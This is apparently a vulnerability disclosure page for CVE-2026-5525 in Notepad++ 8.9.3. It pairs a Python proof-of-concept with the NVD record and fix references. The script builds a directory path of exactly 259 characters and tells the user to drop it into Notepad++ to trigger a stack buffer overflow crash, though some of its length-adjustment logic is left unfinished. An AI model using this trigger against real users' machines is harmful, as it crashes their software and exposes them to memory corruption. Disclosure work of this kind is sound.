CVE-2026-5525

import os # Generate a path of length 259 chars (MAX_PATH - 1 typically) # This triggers the overflow when the app appends '\\' and '\0' base_path = "C:\\" + ("A" * 200) def create_long_path(): # Construct a directory path exactly 259 characters long # Adjust the length based on the drive letter and root # Example: C:\ + 25 chars + "\" + rest # We need the final path string length to be 259. # Create a nested directory structure depth = 10 segment_len = 20 current = "C:\\poc_exploit" if not os.path.exists(current): os.makedirs(current) # Build path until we reach a length close to 259 while len(current) < 240: folder_name = "A" * segment_len current = os.path.join(current, folder_name) if not os.path.exists(current): try: os.makedirs(current) except OSError: break # Adjust to exactly 259 characters without trailing backslash if len(current) > 259: # Truncate or adjust logic (simplified for PoC concept) pass elif len(current) < 259: diff = 259 - len(current) current = current + ("B" * diff) # Rename last folder to match length parent = os.path.dirname(current) last_folder = os.path.basename(current) old_path = os.path.join(parent, "A" * segment_len) # simplified # This is a simulation script, actual filesystem limits apply. print(f"Generated Path Length: {len(current)}") print(f"Path: {current}") print("Drag and drop this folder into Notepad++ 8.9.3 to trigger the crash.") if __name__ == "__main__": create_long_path()

{"cve": {"id": "CVE-2026-5525", "sourceIdentifier": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "published": "2026-04-10T08:16:26.067", "lastModified": "2026-04-13T15:02:06.187", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stack-based buffer overflow vulnerability exists in Notepad++ version 8.9.3 in the file drop handler component. When a user drags and drops a directory path of exactly 259 characters without a trailing backslash, the application appends a backslash and null terminator without proper bounds checking, resulting in a stack buffer overflow and application crash (STATUS_STACK_BUFFER_OVERRUN)."}], "metrics": {"cvssMetricV31": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:N", "baseScore": 6.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://github.com/notepad-plus-plus/notepad-plus-plus/commit/bfe7514d68bc559534c046c4ef2d1865267aa2b0", "source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c"}, {"url": "https://github.com/notepad-plus-plus/notepad-plus-plus/issues/17921", "source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c"}, {"url": "https://github.com/notepad-plus-plus/notepad-plus-plus/pull/17930", "source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c"}, {"url": "https://github.com/notepad-plus-plus/notepad-plus-plus/issues/17921", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}